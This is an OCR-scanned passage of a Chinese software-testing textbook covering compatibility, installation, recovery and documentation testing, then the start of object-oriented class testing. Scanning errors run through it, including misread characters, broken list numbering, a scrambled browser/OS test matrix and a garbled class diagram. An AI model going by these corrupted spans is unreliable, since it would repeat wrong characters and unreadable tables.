从 项 目 管理 的 角度 出 发 ,在 满足 客户 要 求 的 前 提 下 尽 可 能 地 减少 被 测试 的 平台 ,不 可 能 
兼容 所 有 平台 。 例 如 ,针对 Windows 操作 系统 的 测试 ,主要 考虑 Windows XP, Vista 和 
Windows 7 ,而 不 需要 考虑 Windows 2000 或 Windows NT, 和 否则 测试 的 工作 量 会 很 大 。 

1. 向 前 和 向 后 兼容 

向 后 兼容 是 指 可 以 使 用 以 前 版 本 的 软件 ,而 向 前 兼容 指 的 是 可 以 使 用 未 来 版 本 的 软件 。 
例如 ,Windows XP 可 以 运行 以 前 的 一 些 应 用 软件 ,包括 Office 2000, Office 98 甚至 一 些 
DOS 程序 ,这 也 就 比较 容易 理解 Windows XP 为 什么 还 保持 Run 的 命令 行 执行 方式 以 及 通 
过 CMD 命令 打开 DOS 窗口 ,这 些 就 是 从 兼容 性 方面 来 考虑 的 。 还 比如 , 字 处 理 软件 Word 
2003 能 够 向 后 兼容 以 前 的 Word 2000, Word 98 甚至 MS-DOS 下 的 字 处 理 软件 的 所 有 版 本 
的 文件 格式 。 而 向 前 兼容 指 Windows XP 能 否 运行 将 来 的 Word 2007 或 未 来 的 新 版 本 ,或 
者 说 Word 2003 能 否 打 开 Word 2007 的 文件 。 

当然 并 非 所 有 软件 都 要 进行 向 前 兼容 或 向 后 兼容 测试 ,向 后 兼容 是 必要 的 、 必 需 的 ,而 
向 前 兼容 不 是 必需 的 ,而 是 努力 做 到 的 ,在 设计 时 要 考虑 和 未 来 的 软件 .数据 兼容 。 

2. 多 版 本 的 测试 

当前 流行 的 操作 系统 ,已 经 有 数 百 万 个 应 用 程序 在 上 面 运行 。 而 当 操作 系统 中 修复 了 
大 量 缺 陷 改善 了 性 能 并 增加 了 许多 有 用 的 新 特性 ,兼容 性 测试 将 面临 很 大 的 挑战 ,如 何 验 
证 操作 系统 的 新 版 本 是 否 兼容 那 数 百 万 个 应 用 程序 ? 面 对 这 样 一 个 庞大 而 又 艰巨 的 任务 ， 


需要 采取 有 效 的 测试 策略 ,例如 ,对 所 有 可 能 的 组 合 进行 等 价 划分 .优化 ,获得 最 少 的 有 效 测 
试 集合 。 通 常 的 做 法 有 : 

(1) 将 软件 分 类 ,如 字 处 理 . 电 子 表格 ,数据库 .图 形 处理 和 游戏 等 ,从 每 种 类 型 中 选择 
部 分 测试 软件 。 

(2) 按 软 件 的 流行 程度 选择 较 流行 的 软件 。 

(3) 按 软 件 推出 的 时 间 , 选 取 最 近年 份 内 的 程序 和 版 本 。 

前 面 说 的 新 开发 的 图 形 软件 是 一 个 应 用 程序 ,同样 需要 决定 在 什么 操作 系统 以 及 与 哪 
些 应 用 程序 一 起 进行 测试 。 

3. 一 个 典型 的 例子 

每 一 个 浏览 器 和 版 本 支持 的 特性 都 有 细微 的 差别 ,在 不 同 的 操作 系统 上 表现 也 有 所 不 
同 。 一 个 网 站 可 能 在 某 浏览 器 的 某 个 版 本 上 表现 极 佳 , 但 是 在 另 一 种 环境 中 就 存在 许多 问 
题 甚至 无 法 显示 。 

程序 员 可 以 选择 只 使 用 最 普通 的 特性 ,以 便 在 所 有 浏览 器 中 同样 显示 ,也 可 以 选择 为 每 
一 个 浏览 器 编写 专用 代码 ,使 站 点 以 最 佳 方式 工作 。 浏 览 器 的 插件 可 以 获得 音频 和 视频 播 
放 功 能 。 浏 览 器 自身 有 各 种 设置 选项 (安全 性 等 )。 在 不 同 的 平台 上 屏幕 分 辨 率 和 颜色 模式 
的 不 同等 均 会 影响 到 网 站 的 测试 。 为 了 保证 很 好 地 为 预定 的 客户 服务 ,就 要 研究 他 们 可 能 
拥有 的 配置 。 表 7-1 给 出 了 一 个 在 设计 测试 计划 时 常用 的 矩阵 表 。 


表 7-1 测试 设计 矩阵 表 


Windows Non-Windows 
2000 XP Vista 7 Linux Solaris os 区 Os X 

IE7 v NA VJ v Vv 
IE8 v v v 
Firefox3 Vv Vv v v 
Safari v v v v 
Chrome NA v v v 
Opera JV NA NA NA 
Mozilla v 


专业 的 测试 单位 负责 客户 端 测试 的 人 员 每 人 可 能 拥有 好 几 台 测试 (虚拟 ) 机 ,每 台 ( 虚 
拟 ) 机 器 配置 不 同 的 操作 系统 和 浏览 器 。 每 台 机 器 均 采 用 活动 硬盘 架 , 可 很 快 更 换 备用 硬盘 
来 测试 不 同 的 系统 环境 ,或 者 测试 机 器 配置 很 高 ,通过 安装 虚拟 机 软件 (如 VMware 
Workstation, Microsoft Virtual PC, VirtualBox, Parallels Workstation 等 ), 在 一 台 物 理 机 
器 上 安装 3 一 6 台 虚 拟 机 ,进行 兼容 性 测试 。 


7.4.2 数据 共享 兼容 性 测试 


为 了 获得 良好 的 兼容 性 ,软件 必须 遵守 公开 的 标准 和 某 些 约定 ,允许 与 其 他 软件 传输 、 
共享 数据 。 数 据 共 享 的 兼容 性 表现 在 以 下 几 个 方面 : 
(1) 剪 切 、 复 制 和 粘贴 : 这 是 人 们 经 常用 的 功能 ,实际 上 它 就 是 在 不 同 应 用 上 的 数据 共 


享 。 剪 贴 板 只 是 一 个 全 局 内 存 块 , 当 一 个 应 用 程序 将 数据 传送 给 剪贴 板 后 ,通过 修改 内 存 块 
分 配 标志 ,把 相关 内 存 块 的 所 有 权 从 应 用 程序 移交 给 Windows 自身 。 其 他 应 用 程序 可 以 通 
过 一 个 句柄 找到 这 个 内 存 块 , 从 而 能 够 从 内 存 块 中 读 取 数据 。 这 样 就 实现 了 数据 在 不 同 应 
用 程序 间 的 传输 。 

(2) 文件 的 存 取 : 文件 的 数据 格式 必须 符合 标准 ,能 被 其 他 应 用 软件 读 取 。 例 如 , 微 
$k Excel 文件 可 以 转化 为 HTML 格式 供 浏 览 器 直接 打开 ,而 应 用 软件 的 数据 可 以 转化 成 
csv 格式, 供 Excel 读 取 ,自动 形成 Excel 表格 。 现 在 通用 的 数据 交换 格式 主要 有 XML 
(eXtensible Markup Language), JSON (JavaScript Object Notation), Google Protocol 
Buffers 和 LDIF(LDAP Data Interchange Format)“. 

G) 文件 导 和 和 导出 : 是 许多 应 用 程序 与 自身 以 前 版 本 .其 他 应 用 程序 保持 兼容 的 方 
式 。 例 如 ,微软 OutLook 就 可 以 导出 通信 录 , 可 以 让 手机 导入 这 些 信 息 。 如 果 开 发 一 个 应 
用 软件 ,用 户 需 要 管理 联系 人 ,那么 这 个 软件 最 好 要 提供 通信 录 导 入 功能 ,包括 导入 MS 
OutLook,IBM Lotus Notes, Gmail, Yahoo IM, LinkedIn 等 应 用 的 通信 录 , 提 高 软件 的 竞 
HH 


7.4.3 硬件 兼容 性 测试 


硬件 兼容 性 测试 也 就 是 硬件 配置 测试 。 假 如 ,以 图 像 编辑 软件 为 例 , 在 开发 环境 中 软件 
正常 运行 ,另外 选择 三 款 流行 的 显卡 , 当 配 置 某 一 款 显卡 运行 时 发 生 故 障 或 系统 崩溃 ,那么 
一 定 是 配置 问题 。 

1. 配置 测试 的 必要 性 

首先 是 计算 机 配置 的 复杂 多 样 性 ,世界 上 有 很 多 著名 的 计算 机 生产 厂家 自行 设计 组 件 ， 
生产 自己 的 主机 ,甚至 读者 就 可 以 自己 拼装 主机 。 大 多 数 主机 是 由 主板 .显卡 声卡 、 网 卡 、 
硬盘 .光驱 等 组 件 构成 的 ,而 这 些 组 件 可 以 是 数 百 家 生 产 厂 商 提供 的 。 打 印 机 、 扫 描 仪 、. 鼠 
标 、 键 盘 .数码 相机 ` 游 戏 手 柄 等 丰富 多 彩 的 外 设 通过 各 种 接口 与 主机 相连 ,如 常见 的 ISA, 
PCI、USB、PS/2、RS-232 等 ,还 有 各 种 设备 驱动 程序 及 其 很 多 的 可 选项 。 

2. 配置 测试 的 基本 方法 

配置 测试 的 主要 任务 是 发 现 硬件 配置 缺陷 。 判 断 一 个 缺陷 是 否 为 配置 缺陷 ,常用 方法 
是 在 另 一 台 完 全 不 同 配置 的 计算 机 上 执行 相同 的 操作 。 如 果 缺 陷 没 有 再 现 ,就 可 能 是 配置 
缺陷 。 但 配置 缺陷 表现 有 时 不 是 那么 清晰 ,判断 时 要 考虑 以 下 几 种 情况 ; 

。 可 能 在 多 种 配置 中 都 会 出 现 的 缺陷 。 

。 可 能 只 在 某 种 特殊 配置 中 出 现 的 缺陷 。 

。 硬件 设备 或 者 其 设备 驱动 程序 可 能 包含 仅 由 软件 揭示 的 缺陷 。 

。 硬件 设备 或 者 其 设备 驱动 程序 可 能 包含 需 借助 许多 其 他 软件 才能 揭示 的 缺陷 。 

如 果 盲 目地 进行 配置 测试 ,往往 事倍功半 。 假 设 市 场 上 有 显卡 声卡、 网 卡 各 500 种 , 则 
测试 组 合 的 数目 为 500X500X500, 而 且 没 有 考虑 其 他 组 件 。 配 置 测试 还 可 以 采用 等 价 类 
划分 方法 ,其 划分 的 依据 则 是 硬件 的 流行 程度 ,年 限 、 国 家 和 地 区 、 用 户 对 象 等 因素 。 经 过 等 
价 类 划分 和 优化 ,可 以 从 一 大 堆 设 备 中 选择 出 需要 测试 的 设备 清单 ,将 配置 测试 处 于 可 控制 
的 状态 中 。 


7.5 安装 测试 和 可 恢复 性 测试 


软件 的 安装 测试 是 容易 被 忽略 的 一 个 环节 ,开发 和 测试 人 员 均 为 专业 人 员 ,在 开发 和 测 
试 的 过 程 和 环境 中 容易 忽略 对 非 专业 人 员 造 成 的 问题 。 系 统一 旦 开始 运行 以 后 ,不 能 保证 
系统 能 无 限期 地 正常 工作 下 去 ,可 能 会 出 现 系统 宕 机 ,需要 及 时 恢复 ,这 就 要 求 进行 系统 的 
可 恢复 性 测试 , 它 是 为 了 更 好 地 保证 软件 的 可 用 性 和 数据 的 可 靠 性 。 

1. 安装 与 卸载 测试 

软件 产品 的 日 益 丰 富 , 获 得 软件 的 途径 更 加 多 样 ,软件 的 安装 方式 也 发 生 了 很 大 的 变 
化 ,有 客户 端 软件 的 安装 、 直 接 通过 浏览 器 下 载 安装 ,还 有 服务 器 端的 系统 部 署 , 随 着 软件 即 
服务 (Software as a Service) 和 云 服务 等 应 用 的 深入 ,系统 部 署 越 来 越 普 遍 , 其 中 包括 系统 
的 升级 ,在 系统 运行 时 打 补 丁 (patch) 等 。 客 户 端 安装 和 服务 器 系统 部 署 有 很 大 差别 ,客户 
端 安装 测试 时 ,主要 验证 能 否 安装 成 功 , 安 装 步骤 是 否 清晰 、 中 途 是 否 退 出 、 安 装 完 之 后 能 否 
顺利 印 载 , 印 载 时 是 否 破坏 用 户 数据 、 是 否 能 正常 升级 等 内 容 ; 而 完整 的 系统 部 署 会 更 复 
杂 , 需 要 考虑 更 多 的 因素 ,包括 服务 器 架构 、 环 境 配置 .数据 备份 等 。 安 装 测试 时 ,一 般 要 注 
意 以 下 几 个 方面 : 

(1) 一 般 严格 按照 安装 文档 中 的 说 明 ,一 步 一 步 地 进行 操作 ,最 好 从 文档 中 复制 出 各 种 
操作 命令 及 其 参数 ,确保 输入 到 计算 机 的 命令 和 文档 中 的 内 容 一 致 。 检 查 系统 安装 是 否 能 
够 安装 所 有 需要 的 文件 ,数据 并 完成 必要 的 系统 设置 。 

(2) 软件 的 安装 说 明 书 是 否 对 安装 环境 做 限制 和 要 求 。 至 少 在 标准 配置 和 最 低 配 置 两 
种 环境 下 安装 。 曾 经 有 过 这 样 的 例子 , 某 客户 端 产品 进行 安装 测试 时 十 分 顺利 ,在 准备 发 布 
之 前 的 一 次 意外 演示 ,发 现 安装 无 法 通过 ,因为 机 器 上 没有 Java 虚拟 机 (Java Runtime 
Environment,JRE)。 让 经 理 主管 们 对 测试 结果 产生 了 很 大 的 疑问 。 真 正 的 原因 是 测试 用 
机 在 安装 操作 系统 时 默认 会 安装 JRE, 从 而 没有 发 现 上 述 问题 。 

(3) 安装 过 程 是 否 简单 容易 掌握 。 软 件 的 安装 说 明 书 与 实际 安装 步 又 是 否 一 致 。 对 
一 般 用 户 而 言 ,长 长 的 安装 文档 ` 复 杂 的 操作 步骤 往往 造成 月 惧 心 理 。 如 果实 际 步骤 与 安装 
说 明 再 有 出 入 ,就 容易 让 用 户 缺 乏 信 心 ,增加 技术 支持 的 成 本 。 

(4) 安装 过 程 是 否 有 明显 的 、 合 理 的 提示 信息 ,如 选择 /更 改 目录 ,安装 的 进程 .下 一 步 
操作 提示 .中途 退 出 (Cancel) 等 都 应 明确 提示 。 如 果 是 升级 安装 ,用户 数据 是 否 得 到 保护 并 
能 继续 使 用 。 

(5) 务 载 测试 也 是 安装 测试 的 一 部 分 。 印 载 后 ,文件 目录、 快捷 方式 等 是 否 被 清除 , 占 
用 的 系统 资源 是 否 全 部 释放 ,是 否 影响 其 他 软件 的 使 用 。 更 重要 的 是 ,用 户 数据 是 否 被 保 
留 ,不 能 被 删除 ,如果 要 删除 ,也 需要 提示 用 户 , 由 用 户 做 出 选择 。 

(6) 安装 过 程 中 是 否 会 出 现 不 可 预见 的 或 不 可 修复 的 错误 ,进一步 验证 安装 过 程 中 ( 特 
别 是 系统 软件 ) 对 硬件 的 识别 能 力 、 是 否 会 破坏 其 他 文件 或 配置 。 

(7) 安装 程序 是 否 占用 太 多 系统 资源 、 是 否 有 冲突 、 是 否 会 影响 原 系统 的 安全 性 。 

(8) 软件 安装 的 完整 性 和 灵活 性 。 大 型 的 应 用 程序 会 提供 多 种 安装 模式 (最 大 、 最 小 、 
自 定义 等 ) ,每 种 模式 是 否 能 够 正确 地 执行 ,以 及 是 否 可 以 中 止 并 恢复 现场 。 

O) 软件 使 用 的 许可 号 码 或 注册 号 码 的 验证 ,用 户 许可 协议 的 条 款 要 保证 其 合理 、 合 法 。 


2. 可 恢复 性 测试 


提供 软件 服务 的 计算 机 系统 必须 在 限定 的 时 间 内 从 失效 状态 中 恢复 过 来 ,最 大 限度 地 
减少 对 服务 的 影响 。 有 些 软 件 系统 具有 很 好 的 容错 性 ,也 就 是 说 ,运行 过 程 中 出 现 的 错误 对 
局 部 有 影响 ,不 能 造成 整个 系统 的 崩溃 。 在 某 些 情况 下 ,一 旦 某 个 子 系统 出 现 问题 ,由 一 
备份 子 系统 将 服务 接替 过 来 ,从 而 不 会 影响 整个 系统 。 如 果 这 个 系统 出 了 问题 ,由 一 个 备份 
系统 完全 将 服务 接受 过 来 ,继续 提供 服务 。 

恢复 测试 主要 检查 系统 的 容错 能 力 。 当 系统 出 错时 ,能 否 在 指定 时 间 间 隔 内 修正 错误 
或 重新 启动 系统 。 恢 复 测试 首先 要 通过 各 种 手段 ,让 软件 强制 性 地 发 生 故 障 , 然 后 验证 系统 
是 否 能 尽快 恢复 。 对 于 自动 恢复 需 验 证 重新 初始 化 ,检查 点 ,数据 恢复 和 重新 启动 等 机 制 的 
正确 性 ; 对 于 人 工 干 预 的 恢复 系统 ,还 需 评估 平均 修复 时 间 , 确 定 其 是 否 在 可 接受 的 范围 
内 。 例 如 ,基于 客户 端 /服务 器 结构 的 应 用 是 测试 工作 中 常常 遇 到 的 ,下 面 就 是 一 个 简单 的 
示例 。 

先 分 析 服 务 器 端的 恢复 测试 ,通常 服务 器 上 会 有 一 个 进程 ,对 其 他 服务 进程 进行 维护 和 
管理 。 本 例 是 一 台 Linux 系统 的 服务 器 。 使 用 pgrep -fl svr 命令 列 出 所 有 服务 进程 如 下 所 
示 , 其 中 atmmsvr 为 维护 管理 进程 ,其 他 均 为 各 种 服务 进程 。 

[root@1nx2210 root]# pgrep - fl svr 

12063 /opt/ … /ammsvr 

12137 /opt/ …… /apngsvr 192.168. 2.211 

12138 /opt/ …… /acblsvr 192.168. 2.213 

12139 /opt/ …… /acb2svr 192.168.2.214 

12140 /opt/……… /arassvr 192. 168. 2. 215 

12141 /opt/ …… /alicsvr 192. 168. 2. 212 

12142 /opt/ ……… /alogsvr 192.168. 2.212 

12143 /opt/ …… /achatsvr 192. 168. 2. 213 

12144 /opt/ ……… /aassvr 192.168. 2.213 

12145 /opt/ …… /adtsvr 192.168. 2.213 

12146 /opt/ ……… /achatsvr 192.168.2.214 


12147 /opt/ ……… /aassvr 192.168.2.214 
12148 /opt/ ……… /adtsvr 192. 168. 2.214 


12290 /opt/ ++ /wmssvr 

12378 /opt/ …… /arassvr 192.168.2.215 
12592 /opt/ …… /apngsvr 192. 168. 2.211 
12593 /opt/ ……… /apngsvr 192.168.2.211 
[root @ 1nx2210 root] # kill -9 12138 


如 果 对 其 中 进程 号 为 12138 的 acblsvr 进行 恢复 测试 ,可 以 使 用 kill -9 12138 命令 将 该 
进程 杀 掉 。 立 刻 通过 客户 端 验证 该 项 服务 的 丧失 ,在 恢复 时 间 内 监控 服务 器 的 进程 ,直到 
acblsvr 进程 被 重新 启动 。 再 通过 客户 端 验证 该 项 服务 的 恢复 。 服 务 器 端 系统 资源 不 应 该 
出 现 较 大 的 变化 。 

再 分 析 客 户 端的 恢复 测试 ,可 以 用 一 个 更 简单 的 例子 说 明 。 手 工 拔 下 网 线 ,在 许可 的 时 
间 范 围 内 再 插 上 。 从 客户 的 角度 看 ,其 使 用 没有 受到 明显 的 影响 ,语音 可 能 会 停顿 一 下 , 状 
态 不 能 发 生 大 的 变化 ,数据 能 够 重新 获得 ,并 继续 使 用 下 去 。 


7.6 文档 测试 


软件 文档 是 软件 的 重要 组 成 部 分 ,文档 的 错误 也 是 软件 缺陷 。 错 误 的 解释 可 能 会 引导 
用 户 无 法 完成 某 些 软件 已 具有 的 功能 ,例如 ,安装 文档 不 正确 ,用 户 无 法 进行 安装 ,是 一 个 很 
严重 的 缺陷 。 从 另 一 方面 看 ,用 户 通过 文档 可 以 掌握 具体 的 使 用 方法 ,提高 了 易 用 性 。 和 避免 
了 用 户 在 摸索 使 用 中 的 一 些 不 可 预期 的 操作 ,也 就 相对 避免 了 一 些 不 可 预期 的 错误 的 发 生 ， 
从 而 提高 了 产品 的 可 靠 性 。 用 户 在 遇 到 问题 时 ,多 数 会 向 朋友 或 同事 询问 解决 方法 ,再 就 是 
通过 帮助 文档 或 请 求 公司 帮助 。 约 30% 的 用 户 通过 文档 解决 了 问题 ,也 就 避免 了 公司 提供 
费用 不 菲 的 技术 支持 。 综 上 所 述 ,文档 测试 也 是 不 可 忽视 的 。 


7.6.1 文档 的 种 类 


(1) 联机 帮助 文档 或 用 户 手 册 。 这 是 人 们 最 容易 想到 的 文档 。 用 户 手 册 是 指导 用 户 如 
何 使 用 软件 的 文档 ,可 能 是 一 本 书 ,也 可 能 仅仅 是 PDF 或 chm 格式 的 文件 。 有 时 以 联机 帮 
助 文档 的 形式 出 现 , 具 有 索引 和 搜索 功能 ,用 户 可 以 方便 快捷 地 查找 所 需 信息 。 图 7-5 为 
Microsoft Word 的 联机 帮助 文档 。 
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图 7-5 Microsoft Word 的 联机 帮助 文档 


(2) 指南 和 向 导 。 由 程序 和 文档 融合 在 一 起 形成 ,可 以 引导 用 户 一 步 一 步 完 成 任务 的 
一 种 工具 ,如 Microsoft Office 助手 。 
G) 安装 .设置 指南 。 简 单 的 安装 文档 可 以 是 一 页 纸 ,复杂 的 指南 可 以 是 一 本 手册 。 


(4) 示例 及 模板 。 例 如 某 些 系统 提供 给 用 户 填写 的 表单 模板 。 

(5) 错误 提示 信息 。 常 常 被 忽略 ,但 确实 属于 文档 。 一 个 较 特殊 的 例子 ,服务 器 系统 运 
行 时 检测 到 系统 资源 达到 临界 值 , 或 受到 攻击 ,给 管理 员 发 送 警 告 邮件 。 

(6) 用 于 演示 的 图 像 和 声音 。 

(7) 授权 /注册 登记 表 及 用 户 许可 协议 。 

O 软件 的 包装 、 广 告 宣传 材料 。 错 误 或 缺少 必要 的 信息 可 能 带 来 麻烦 ,所 以 应 认真 对 
待 ,哪怕 是 标签 上 不 引 人 注 意 的 文字 。 


7.6.2 怎样 进行 文档 测试 


很 多 程序 员 能 编写 出 好 程序 , 却 写 不 出 清晰 的 文档 ,技术 手册 的 质量 不 够 高 ,测试 的 难 
度 更 高 ,需要 事先 仔细 阅读 ,并 与 文档 作者 进行 充分 交流 ,尝试 每 个 示例 ,就 能 发 现 其 中 的 问 
题 。 文 档 测试 主要 检查 文档 的 正确 性 、 完 备 性 、 易 理解 性 和 一 致 性 。 
。 正 确 性 是 指 不 要 把 软件 的 功能 和 操作 写 错 ,也 不 允许 文档 内 容 前 后 矛盾 。 例 如 检查 
描述 功能 的 陈述 是 否 必要 ,有 没有 多 余 信息 ,功能 是 否 满足 客户 要 求 。 
。 完备 性 是 指 文档 不 可 以 * 虎 头 蛇 尾 ”, 更 不 能 漏 掉 关键 内 容 , 检 查 是 否 有 遗漏 和 丢失 
的 内 容 , 文 档 中 很 多 内 容 对 开发 者 可 能 是 “显然 ”的 ,但 对 用 户 而 言 不 见得 都 是 “ 显 
然 " 的 。 
。 易 理解 性 。 文 档 不 能 含糊 ,要 清晰 ,要 让 大 众 用 户 看 得 懂 , 容 易 理解 。 例 如 ,内 容 描 
述 是 否 一 清二 楚 , 术 语 ,缩写 用 户 是 否 理 解 ,内 容 和 主题 是 否 一 致 。 
。 一 致 性 。 例 如 检查 产品 功能 描述 是 否 自 相 了 矛盾 ,与 其 他 功能 有 没有 冲突 。 


小 结 


验收 测试 是 技术 测试 的 最 后 一 个 阶段 ,需要 和 用 户 共同 完成 ,而 且 需 要 在 软件 实际 运行 
环境 上 进行 测试 。 严 格 按照 产品 规格 说 明 书 来 进行 测试 ,通过 验收 测试 后 ,需要 提交 验收 测 
试 报告 。 

在 本 章 中 还 详细 介绍 了 兼容 性 测试 .安装 测试 .可 恢复 性 和 文档 测试 等 。 兼 容 性 测试 包 
括 系 统 之 间 的 兼容 .数据 兼容 、 软 硬件 之 间 的 兼容 等 各 个 方面 的 测试 ,而 文档 测试 主要 检查 
文档 的 正确 性 .完备 性 、 易 理解 性 和 一 致 性 。 


思考 题 


. 验收 测试 是 由 用 户 完成 的 吗 ? 为 什么 ? 

. 进行 验收 测试 的 条 件 是 什么 ? 通过 标准 是 什么 ? 

. 如 何 进行 产品 说 明 书 的 验证 ? 

. 用 户 界面 测试 有 哪些 要 素 ? 

. 兼容 性 测试 主要 包括 哪 三 个 方面 ? 

. 简 述 文档 测试 的 重要 性 。 

. 软件 测试 分 为 哪 4 个 阶段 ? 每 个 阶段 的 主要 任务 和 目标 是 什么 ? 
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面向 对 象 软件 的 测试 


思维 方式 决定 解决 问题 的 方式 。 传 统 软 件 开发 采用 面向 过 程 、 面 
向 功能 的 方法 ,将 程序 系统 模块 化 ,在 此 基础 上 还 可 以 再 分 成 若干 个 
单元 ,这 些 单元 可 以 通过 一 系列 程序 过 程 实现 ,也 产生 相应 的 单元 测 
试 , 集 成 测试 等 方法 。 面 向 对 象 程序 的 结构 不 再 是 传统 的 功能 模块 结 
构 , 它 将 开发 分 为 面向 对 象 分 析 (OOA) 面向 对 象 设计 (OOD) 和 面向 
对 象 编程 (OOP) 三 个 阶段 。 分 析 阶 段 产 生 整 个 问题 空间 的 抽象 描 
述 , 在 此 基础 上 ,进一步 归纳 出 适用 于 面向 对 象 编程 语言 的 类 和 类 结 
构 , 最 后 形成 代码 。 针 对 面向 对 象 软件 的 开发 特点 ,其 测试 方法 和 技 
术 也 必然 要 做 相应 的 改变 ,从 而 形成 面向 对 象 的 测试 模型 测试 的 层 
次 与 数据 流 、 面 向 对 象 的 单元 和 集成 测试 方法 等 。 

为 跟踪 技术 的 前 沿 ,下 面 以 Java EE 软件 为 例 ,介绍 工具 类 与 帮 
助 类 的 测试 方法 , Action 层 (主要 用 于 Struts 跳 转 ) 的 测试 方法 , Biz 
(业务 逻辑 层 ) 的 测试 方法 ,Servlet 自身 的 测试 方法 ,以 及 流行 框架 
Struts 十 Spring 十 Hibernate 测试 和 通过 Java EE 软件 常用 工具 来 得 
到 简化 日 常 工作 ,提高 产品 质量 。 


8.1 概述 


对 象 是 对 现实 世界 的 完美 反映 ,面向 对 象 软件 有 其 自身 的 特征 ， 
在 对 象 世界 中 具有 公共 特征 和 操作 的 归 为 一 类 ,类 之 间 有 继承 与 被 继 
承 的 关系 , 子 类 可 以 覆盖 父 类 的 一 些 方法 ,另外 也 可 以 有 自己 新 加 的 
方法 ,所 以 在 面向 对 象 的 软件 测试 中 有 类 与 子 类 的 测试 ,分 层 与 增 量 ， 
以 及 面向 对 象 层次 结构 测试 。 
8.1.1 类 与 子 类 的 测试 

我 们 生活 在 一 个 对 象 的 世界 里 ,每 个 对 象 有 一 定 的 属性 ,把 属性 
相同 的 对 象 进行 归纳 就 形成 类 。 在 面向 对 象 语言 中 ,类 是 创建 对 象 的 


关键 。 类 描述 了 一 组 对 象 的 公共 特征 和 操作 ,而 对 象 则 是 具体 实现 
的 类 。 
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当 类 的 实现 从 上 往 下 时 ,实现 起 来 就 比较 简单 。 同 样 , 在 测试 继承 层次 中 的 类 时 ,如 果 
采用 从 上 往 下 的 方法 时 通常 比较 容易 。 在 测试 第 一 层次 的 类 时 ,可 以 着 重 于 通用 接口 和 代 
码 ,然后 针对 每 一 个 子 类 生成 专门 的 测试 驱动 代码 。 为 了 方便 说 明 ,假设 采用 从 上 往 下 的 方 
法 对 继承 关系 中 的 类 型 进行 测试 。 着 重 测试 一 个 其 父 类 已 经 测试 过 的 子 类 ,如 图 8-1 所 示 ， 
K D EX C 的 子 类 ,类 C 已 经 进行 了 充分 的 测试 。 下 面 开始 对 子 类 D 进行 测试 。 


E 子 类 D 添 加 了 一 个 新 的 实例 变量 new Var) 
和 一 个 操作 opNew()。D 重 载 了 C 中 定义 的 方 

Void op1() 法 op20， 因 为 该 操作 在 D 中 有 新 的 规范 /实现 
Void op2() 

D 
NewVar: Type; 
Void op2() 
Void opNew(): 


图 8-1 类 与 子 类 的 层次 与 继承 关系 


由 于 类 DD 至 少 从 类 C 继承 了 它 的 部 分 规范 以 及 实现 ,因此 可 以 合理 地 假设 C 的 有 些 测 
试 软件 可 以 在 测试 D 时 复 用 。 考 虑 下 面 这 个 例子 : D 从 C 继承 了 退化 功能 ,并 且 没有 做 任 
何 修改 ,因此 ,D 在 规范 和 实现 上 与 C 相同 。 如 果 可 以 假设 编译 器 能 够 正确 地 处 理 代 码 , 那 
么 类 D 根本 就 不 需要 测试 。 在 这 样 的 假设 下 ,如果 C 通过 了 所 有 的 测试 ,那么 类 D 也 一 定 
能 够 通过 。 比 较 常 见 的 情况 是 ,D 包含 对 C 的 增 量 变化 。 通 过 复 用 C 的 测试 用 例 和 部 分 测 
试 驱动 程序 可 以 大 大 减少 测试 D 所 花费 的 代价 。 


8.1.2 分 层 与 增 量 


类 C 和 其 派生 类 D 间 的 增 量 变化 能 够 用 来 帮助 确定 需要 在 D 中 测试 什么 。 由 于 D 是 
C 的 子 类 ,那么 所 有 用 于 C 的 基于 规范 的 测试 用 例 也 都 适用 于 D。 引 入 术语 “继承 的 测试 用 
例 ” 来 代表 从 父 类 测试 用 例 中 选取 出 来 的 .用 于 子 类 的 测试 用 例 。 可 以 通过 简单 的 分 析 来 确 
定 继承 的 测试 用 例 中 哪些 适用 于 测试 子 类 、 哪 些 在 测试 子 类 时 不 必 执 行 。 在 这 里 需要 注意 
以 下 几 个 方面 : 

。D 的 接口 中 添加 一 个 或 多 个 新 的 操作 ,并且 有 可 能 是 D 中 的 一 个 新 方法 实现 一 个 新 

操作 。 新 操作 引入 了 新 的 功能 和 新 的 代码 ,这些 都 需要 测试 。 一 个 新 的 操作 对 现存 
的 、 继 承 来 的 操作 或 方法 没有 直接 的 影响 时 ,只 需要 为 每 个 新 操作 添加 基于 规范 的 
测试 用 例 。 如 果 操作 不 是 抽象 的 并 且 有 具体 的 实现 ,那么 为 了 服从 测试 计划 的 覆盖 
标准 ,需要 添加 基于 规范 和 基于 交互 的 测试 用 例 。 
在 D 中 改变 那些 在 C 中 声明 的 操作 规范 ,需要 为 操作 添加 新 的 基于 规范 的 测试 用 
例 。 附 加 的 测试 用 例 提供 了 新 的 输入 ,这 些 输入 符合 任何 削弱 了 的 前 置 条 件 , 并 且 
对 由 任何 加 强 了 后 置 条 件 导致 的 新 期 望 结 果 进 行 检 查 。C 中 定义 的 这 个 操作 规范 
仍然 适用 ,但 是 必须 重新 运行 。 另 外 还 需要 向 用 于 测试 类 C 中 的 这 个 操作 测试 的 每 
一 个 用 例 输 出 添加 强化 的 后 置 条 件 需 求 。 


。 在 DD 中 覆盖 那些 在 C 中 实现 了 某 个 操作 并 且 被 D 继承 了 的 方法 ,可 以 复 用 于 该 方 
法 所 有 继承 来 的 基于 规范 的 测试 用 例 。 因 为 有 新 的 代码 需要 测试 ,还 需要 对 基于 实 
现 的 测试 用 例 进 行 检查 ,如果 需要 的 话 ,对 它们 进行 修正 和 添加 以 符合 覆盖 率 的 测 
试 标准 。 

E D 中 添加 一 个 或 多 个 新 的 实例 变量 来 实现 更 多 的 状态 和 /或 属性 。 添 加 新 的 变量 
最 有 可 能 与 新 的 操作 和 /或 重 载 方法 中 代码 有 关 ,而 且 对 测试 的 处 理 也 与 它们 有 关 。 
如 果 新 变量 没有 在 任何 方法 中 使 用 ,那么 就 不 必 作 任何 改变 。 

在 D 中 改变 类 常量 。 类 常量 累计 成 每 个 测试 用 例 的 附加 后 置 条 件 。 我 们 宁愿 将 它 
们 看 作 是 隐 含 的 后 置 条 件 ,并 且 在 没有 对 常量 限制 任何 显示 引用 的 情况 下 编写 测试 
用 例 。 测 试用 例 的 输出 受 常量 约束 的 支配 一 一 即 “ 类 常量 句柄 ”在 每 个 测试 用 例 的 
输出 中 是 显示 的 。 因 此 ,如 果 一 个 类 常量 变化 了 ,那么 需要 重新 运行 所 有 继承 的 测 
试用 例 以 验证 新 常量 句柄 。 


8.1.3 面向 对 象 层次 结构 测试 重点 


在 掌握 类 与 子 类 的 测试 .分 层 与 增 量 之 后 ,下 面 要 讨论 面向 对 象 层次 结构 测试 的 要 点 ， 
